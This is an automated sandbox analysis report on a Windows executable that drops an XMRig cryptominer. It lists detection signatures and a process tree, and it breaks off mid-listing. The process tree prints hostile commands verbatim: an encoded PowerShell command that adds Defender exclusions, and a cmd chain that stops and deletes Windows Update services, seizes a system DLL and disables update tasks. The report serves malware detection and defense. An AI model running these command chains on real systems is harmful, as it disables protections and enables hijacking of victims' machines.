Analysis
-
max time kernel
300s -
max time network
299s -
platform
windows10-1703_x64 -
resource
win10-20220722-en -
resource tags
arch:x64arch:x86image:win10-20220722-enlocale:en-usos:windows10-1703-x64system -
submitted
03-08-2022 10:15
Behavioral task
behavioral1
Sample
1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe
Resource
win7-20220715-en
General
-
Target
1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe
-
Size
7.1MB
-
MD5
322cf2f6a67420e4eb53f29263a639ba
-
SHA1
bc91f56c260ff4484f7fb0d33a3d351d3d812781
-
SHA256
1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025
-
SHA512
3e58b83f26950059901ad1cbb20a06351b7a815d17a3e65a0a84061b7d0d9af588a2685786c28642b1bb76575c81b272d10a1b1dede515b643b27ea52deadcc7
Malware Config
Signatures
-
Modifies security service 2 TTPs 5 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
Processes:
updater.exe1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ updater.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ 1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe -
XMRig Miner payload 6 IoCs
Processes:
resource yara_rule behavioral2/memory/4732-471-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral2/memory/4732-472-0x000000014036EAC4-mapping.dmp xmrig behavioral2/memory/4732-473-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral2/memory/4732-474-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral2/memory/4732-480-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral2/memory/4732-481-0x0000000140000000-0x0000000140809000-memory.dmp xmrig -
Drops file in Drivers directory 2 IoCs
Processes:
conhost.execonhost.exedescription ioc process File opened for modification C:\Windows\system32\drivers\etc\hosts conhost.exe File opened for modification C:\Windows\system32\drivers\etc\hosts conhost.exe -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 2492 updater.exe -
Possible privilege escalation attempt 4 IoCs
Processes:
takeown.exeicacls.exetakeown.exeicacls.exepid process 4508 takeown.exe 4672 icacls.exe 1468 takeown.exe 604 icacls.exe -
Stops running service(s) 3 TTPs
-
Checks BIOS information in registry 2 TTPs 4 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
updater.exe1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion updater.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion updater.exe -
Modifies file permissions 1 TTPs 4 IoCs
Processes:
takeown.exeicacls.exetakeown.exeicacls.exepid process 4508 takeown.exe 4672 icacls.exe 1468 takeown.exe 604 icacls.exe -
Processes:
resource yara_rule behavioral2/memory/4952-127-0x0000000000400000-0x000000000106F000-memory.dmp themida behavioral2/memory/4952-129-0x0000000000400000-0x000000000106F000-memory.dmp themida C:\Program Files\Google\Chrome\updater.exe themida C:\Program Files\Google\Chrome\updater.exe themida behavioral2/memory/2492-272-0x0000000000400000-0x000000000106F000-memory.dmp themida behavioral2/memory/2492-277-0x0000000000400000-0x000000000106F000-memory.dmp themida -
Processes:
updater.exe1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA updater.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe -
Drops file in System32 directory 4 IoCs
Processes:
powershell.execonhost.exepowershell.EXEdescription ioc process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log conhost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exeupdater.exepid process 4952 1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe 2492 updater.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
conhost.exedescription pid process target process PID 1640 set thread context of 4732 1640 conhost.exe explorer.exe -
Drops file in Program Files directory 3 IoCs
Processes:
powershell.execonhost.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe powershell.exe File opened for modification C:\Program Files\Google\Chrome\updater.exe powershell.exe File created C:\Program Files\Google\Libs\WR64.sys conhost.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 4508 sc.exe 524 sc.exe 1064 sc.exe 5076 sc.exe 5016 sc.exe 4548 sc.exe 3976 sc.exe 3732 sc.exe 4540 sc.exe 4236 sc.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.exepowershell.EXEconhost.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" conhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ conhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" conhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" conhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe -
Modifies registry key 1 TTPs 18 IoCs
Processes:
reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exepid process 4848 reg.exe 1128 reg.exe 312 reg.exe 2232 reg.exe 4672 reg.exe 2724 reg.exe 2880 reg.exe 5032 reg.exe 3976 reg.exe 208 reg.exe 1636 reg.exe 4204 reg.exe 4760 reg.exe 1264 reg.exe 876 reg.exe 4888 reg.exe 4812 reg.exe 4984 reg.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.execonhost.exepowershell.exepowershell.EXEpowershell.execonhost.exeexplorer.exepid process 3496 powershell.exe 3496 powershell.exe 3496 powershell.exe 2092 conhost.exe 688 powershell.exe 688 powershell.exe 688 powershell.exe 1320 powershell.EXE 1320 powershell.EXE 1320 powershell.EXE 2580 powershell.exe 2580 powershell.exe 2580 powershell.exe 1640 conhost.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe 4732 explorer.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 636 -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowercfg.exepowercfg.execonhost.exepowercfg.exepowercfg.exetakeown.exepowershell.exedescription pid process Token: SeDebugPrivilege 3496 powershell.exe Token: SeIncreaseQuotaPrivilege 3496 powershell.exe Token: SeSecurityPrivilege 3496 powershell.exe Token: SeTakeOwnershipPrivilege 3496 powershell.exe Token: SeLoadDriverPrivilege 3496 powershell.exe Token: SeSystemProfilePrivilege 3496 powershell.exe Token: SeSystemtimePrivilege 3496 powershell.exe Token: SeProfSingleProcessPrivilege 3496 powershell.exe Token: SeIncBasePriorityPrivilege 3496 powershell.exe Token: SeCreatePagefilePrivilege 3496 powershell.exe Token: SeBackupPrivilege 3496 powershell.exe Token: SeRestorePrivilege 3496 powershell.exe Token: SeShutdownPrivilege 3496 powershell.exe Token: SeDebugPrivilege 3496 powershell.exe Token: SeSystemEnvironmentPrivilege 3496 powershell.exe Token: SeRemoteShutdownPrivilege 3496 powershell.exe Token: SeUndockPrivilege 3496 powershell.exe Token: SeManageVolumePrivilege 3496 powershell.exe Token: 33 3496 powershell.exe Token: 34 3496 powershell.exe Token: 35 3496 powershell.exe Token: 36 3496 powershell.exe Token: SeShutdownPrivilege 4276 powercfg.exe Token: SeCreatePagefilePrivilege 4276 powercfg.exe Token: SeShutdownPrivilege 4560 powercfg.exe Token: SeCreatePagefilePrivilege 4560 powercfg.exe Token: SeDebugPrivilege 2092 conhost.exe Token: SeShutdownPrivilege 4088 powercfg.exe Token: SeCreatePagefilePrivilege 4088 powercfg.exe Token: SeShutdownPrivilege 796 powercfg.exe Token: SeCreatePagefilePrivilege 796 powercfg.exe Token: SeTakeOwnershipPrivilege 4508 takeown.exe Token: SeDebugPrivilege 688 powershell.exe Token: SeIncreaseQuotaPrivilege 688 powershell.exe Token: SeSecurityPrivilege 688 powershell.exe Token: SeTakeOwnershipPrivilege 688 powershell.exe Token: SeLoadDriverPrivilege 688 powershell.exe Token: SeSystemProfilePrivilege 688 powershell.exe Token: SeSystemtimePrivilege 688 powershell.exe Token: SeProfSingleProcessPrivilege 688 powershell.exe Token: SeIncBasePriorityPrivilege 688 powershell.exe Token: SeCreatePagefilePrivilege 688 powershell.exe Token: SeBackupPrivilege 688 powershell.exe Token: SeRestorePrivilege 688 powershell.exe Token: SeShutdownPrivilege 688 powershell.exe Token: SeDebugPrivilege 688 powershell.exe Token: SeSystemEnvironmentPrivilege 688 powershell.exe Token: SeRemoteShutdownPrivilege 688 powershell.exe Token: SeUndockPrivilege 688 powershell.exe Token: SeManageVolumePrivilege 688 powershell.exe Token: 33 688 powershell.exe Token: 34 688 powershell.exe Token: 35 688 powershell.exe Token: 36 688 powershell.exe Token: SeIncreaseQuotaPrivilege 688 powershell.exe Token: SeSecurityPrivilege 688 powershell.exe Token: SeTakeOwnershipPrivilege 688 powershell.exe Token: SeLoadDriverPrivilege 688 powershell.exe Token: SeSystemProfilePrivilege 688 powershell.exe Token: SeSystemtimePrivilege 688 powershell.exe Token: SeProfSingleProcessPrivilege 688 powershell.exe Token: SeIncBasePriorityPrivilege 688 powershell.exe Token: SeCreatePagefilePrivilege 688 powershell.exe Token: SeBackupPrivilege 688 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.execonhost.execmd.execmd.exedescription pid process target process PID 4952 wrote to memory of 2092 4952 1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe conhost.exe PID 4952 wrote to memory of 2092 4952 1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe conhost.exe PID 4952 wrote to memory of 2092 4952 1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe conhost.exe PID 2092 wrote to memory of 3496 2092 conhost.exe powershell.exe PID 2092 wrote to memory of 3496 2092 conhost.exe powershell.exe PID 2092 wrote to memory of 3544 2092 conhost.exe cmd.exe PID 2092 wrote to memory of 3544 2092 conhost.exe cmd.exe PID 2092 wrote to memory of 3576 2092 conhost.exe cmd.exe PID 2092 wrote to memory of 3576 2092 conhost.exe cmd.exe PID 3544 wrote to memory of 3732 3544 cmd.exe sc.exe PID 3544 wrote to memory of 3732 3544 cmd.exe sc.exe PID 3576 wrote to memory of 4276 3576 cmd.exe powercfg.exe PID 3576 wrote to memory of 4276 3576 cmd.exe powercfg.exe PID 3544 wrote to memory of 5076 3544 cmd.exe sc.exe PID 3544 wrote to memory of 5076 3544 cmd.exe sc.exe PID 3544 wrote to memory of 4540 3544 cmd.exe sc.exe PID 3544 wrote to memory of 4540 3544 cmd.exe sc.exe PID 3544 wrote to memory of 5016 3544 cmd.exe sc.exe PID 3544 wrote to memory of 5016 3544 cmd.exe sc.exe PID 3544 wrote to memory of 4548 3544 cmd.exe sc.exe PID 3544 wrote to memory of 4548 3544 cmd.exe sc.exe PID 3576 wrote to memory of 4560 3576 cmd.exe powercfg.exe PID 3576 wrote to memory of 4560 3576 cmd.exe powercfg.exe PID 3544 wrote to memory of 2724 3544 cmd.exe reg.exe PID 3544 wrote to memory of 2724 3544 cmd.exe reg.exe PID 3576 wrote to memory of 4088 3576 cmd.exe powercfg.exe PID 3576 wrote to memory of 4088 3576 cmd.exe powercfg.exe PID 3576 wrote to memory of 796 3576 cmd.exe powercfg.exe PID 3576 wrote to memory of 796 3576 cmd.exe powercfg.exe PID 3544 wrote to memory of 5032 3544 cmd.exe reg.exe PID 3544 wrote to memory of 5032 3544 cmd.exe reg.exe PID 3544 wrote to memory of 2880 3544 cmd.exe reg.exe PID 3544 wrote to memory of 2880 3544 cmd.exe reg.exe PID 3544 wrote to memory of 3976 3544 cmd.exe reg.exe PID 3544 wrote to memory of 3976 3544 cmd.exe reg.exe PID 3544 wrote to memory of 4204 3544 cmd.exe reg.exe PID 3544 wrote to memory of 4204 3544 cmd.exe reg.exe PID 3544 wrote to memory of 4508 3544 cmd.exe takeown.exe PID 3544 wrote to memory of 4508 3544 cmd.exe takeown.exe PID 3544 wrote to memory of 4672 3544 cmd.exe icacls.exe PID 3544 wrote to memory of 4672 3544 cmd.exe icacls.exe PID 2092 wrote to memory of 688 2092 conhost.exe powershell.exe PID 2092 wrote to memory of 688 2092 conhost.exe powershell.exe PID 3544 wrote to memory of 4812 3544 cmd.exe reg.exe PID 3544 wrote to memory of 4812 3544 cmd.exe reg.exe PID 3544 wrote to memory of 4984 3544 cmd.exe reg.exe PID 3544 wrote to memory of 4984 3544 cmd.exe reg.exe PID 3544 wrote to memory of 4848 3544 cmd.exe reg.exe PID 3544 wrote to memory of 4848 3544 cmd.exe reg.exe PID 3544 wrote to memory of 4760 3544 cmd.exe reg.exe PID 3544 wrote to memory of 4760 3544 cmd.exe reg.exe PID 3544 wrote to memory of 4320 3544 cmd.exe schtasks.exe PID 3544 wrote to memory of 4320 3544 cmd.exe schtasks.exe PID 3544 wrote to memory of 1776 3544 cmd.exe schtasks.exe PID 3544 wrote to memory of 1776 3544 cmd.exe schtasks.exe PID 3544 wrote to memory of 1924 3544 cmd.exe schtasks.exe PID 3544 wrote to memory of 1924 3544 cmd.exe schtasks.exe PID 3544 wrote to memory of 1692 3544 cmd.exe schtasks.exe PID 3544 wrote to memory of 1692 3544 cmd.exe schtasks.exe PID 3544 wrote to memory of 2148 3544 cmd.exe schtasks.exe PID 3544 wrote to memory of 2148 3544 cmd.exe schtasks.exe PID 3544 wrote to memory of 2760 3544 cmd.exe schtasks.exe PID 3544 wrote to memory of 2760 3544 cmd.exe schtasks.exe PID 3544 wrote to memory of 2180 3544 cmd.exe schtasks.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe"C:\Users\Admin\AppData\Local\Temp\1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe"2⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGUAdAB2ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAegBhAHgAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAbgBmACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGIAZwBuACMAPgA="3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop UsoSvc4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop wuauserv4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop bits4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop dosvc4⤵
- Launches sc.exe
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f4⤵
- Modifies security service
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f4⤵
- Modifies registry key
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\WaaSMedicSvc.dll4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f4⤵
- Modifies registry key
-
